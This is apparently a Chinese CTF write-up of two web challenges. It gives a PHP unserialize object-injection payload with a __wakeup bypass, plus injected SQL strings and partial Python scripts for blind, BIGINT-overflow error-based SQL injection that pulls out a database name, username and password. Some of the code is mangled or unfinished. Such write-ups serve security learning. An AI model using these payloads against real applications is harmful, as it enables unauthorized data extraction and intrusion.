记录一道web题目
http://95d0deaf1ade4dada96134a916bce5e1ab4dfa4227fb4400.changame.ichunqiu.com/
php协议读取文件
读取到index.php
<?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?>
hint.php
<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>
看了一下代码。思路大概是引用hint.php 反序列化 hint.php 那个函数然后改改就ok
反序列化函数
<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); $this->token = &$this->token_flag; } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $flag = new Flag("flag.php"); $handle = new Handle($flag); echo serialize($handle)."\n"; ?>
得到反序列化字符串
O:6:”Handle”:1:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}
看到调用了一下__wakeup 函数。绕过这个函数的方法:
得出:
O:6:”Handle”:2:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}
private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
所以 Handlehandle 中间需要%00
变成了如下:
O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}
/index.php?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;0dbcf39d413231953d442f2f17f80cd5;s:10:”token_flag”;R:4;}}
发现还有一个url 没有绕过
变成了如下的url
第二道题目:
大概的思路就是
mysql> select 1+9223372036854775807 -> ; ERROR 1690 (22003): BIGINT value is out of range in '(1 + 9223372036854775807)' mysql> select 9223372036854775807 -> ; +---------------------+ | 9223372036854775807 | +---------------------+ | 9223372036854775807 | +---------------------+ 1 row in set (0.00 sec) mysql>
首先确定了数据库当前表为1个字段
username=1′ union select 1 %23&password=1111′—
为登陆失败
username=1′ union select 1,2 %23&password=1111′—
的时候登陆错误
那么就确定了数据库为当前表为1 个字段。
然后确定数据库的当前名称
经过测试为3个字符
例如这样的
select * from liang where username='1' union select ascii(substr((select database()),1,1))+9223372036854775806
的时候登陆失败
username=1′ union select ascii(substr((select database()),4,1))%2b9223372036854775807 %23&password=1111′—
username=1′ union select ascii(substr((select database()),3,1))%2b9223372036854775807 %23&password=1111′—
的时候为数据库报错。那么确定了数据库为3个字符串长度
写了一个一半的脚本。然后服务器就挂了
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: Ben # Time : 2018/9/29/029 23:23 import requests db=''' 1' union select ascii(substr((select database()),4,1))%2b9223372036854775807 %23''' #print(username) def check(db): url='http://39.106.224.151:52105' headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"} data={"username":db,"password":"1"} re2=requests.post(url=url,headers=headers,data=data) import re print(re2.text) data=str(re2.text) ret2 = "</p><p style='color: red'>.*</p>" dat2=re.findall(ret2,data) liang=dat2[0] list_data=(liang.replace("</p><p style='color: red'>",'').replace("</p>",'')) data_16=list_data.encode('utf-8') if data_16==b"\xc3\xa7\xc2\x99\xc2\xbb\xc3\xa9\xc2\x99\xc2\x86\xc3\xa5\xc2\xa4\xc2\xb1\xc3\xa8\xc2\xb4\xc2\xa5\xc3\xaf\xc2\xbc\xc2\x81": print('登陆失败') return 1 else: print("数据库执行错误") return 2 check(db)
得到数据库为CTF
然后继续fuzz 发现有一张user 表, 字段有username passwd
获取账号
def get_usernam(): ret=[] for i in range(1, 4): for i2 in numbers_letters: i2=ord(i2) db = '''1' union select ascii(substr((select username from user),%s,1)) +(9223372036854775807-%s) #'''%(str(i),str(i2)) chekc=check(db) print(chekc) if chekc==1: ccc=i2-1 db = '''1' union select ascii(substr((select username from user),%s,1)) +(9223372036854775807-%s) #''' % ( str(i), str(ccc)) chekc = check(db) if chekc==2: print("数据库第%s个字符串为%s"%(i,chr(i2))) ret.append(chr(i2)) if i==3: return ret
用户名为admin
获取数据库
def get_usernam(): ret=[] for i in range(1, 4): for i2 in numbers_letters: i2=ord(i2) db = '''1' union select ascii(substr((select password from user),%s,1)) +(9223372036854775807-%s) #'''%(str(i),str(i2)) chekc=check(db) print(chekc) if chekc==1: ccc=i2-1 db = '''1' union select ascii(substr((select password from user),%s,1)) +(9223372036854775807-%s) #''' % ( str(i), str(ccc)) chekc = check(db) if chekc==2: print("数据库第%s个字符串为%s"%(i,chr(i2))) ret.append(chr(i2)) if i==3: return ret
得到的密码好像不完整。登陆不进去。应该是有特殊字符之类的
修改了一下
numbers_letters+'!@#$%^&*()_+/<>+.[然后得到密码 F1AG@1s-at_/fll1llag_h3r3
。登陆之后发现是需要读取的。然后就没有成功去读到flag
最后还是看了一下官方的WPhttps://www.ctfwp.com/articals/2019national.html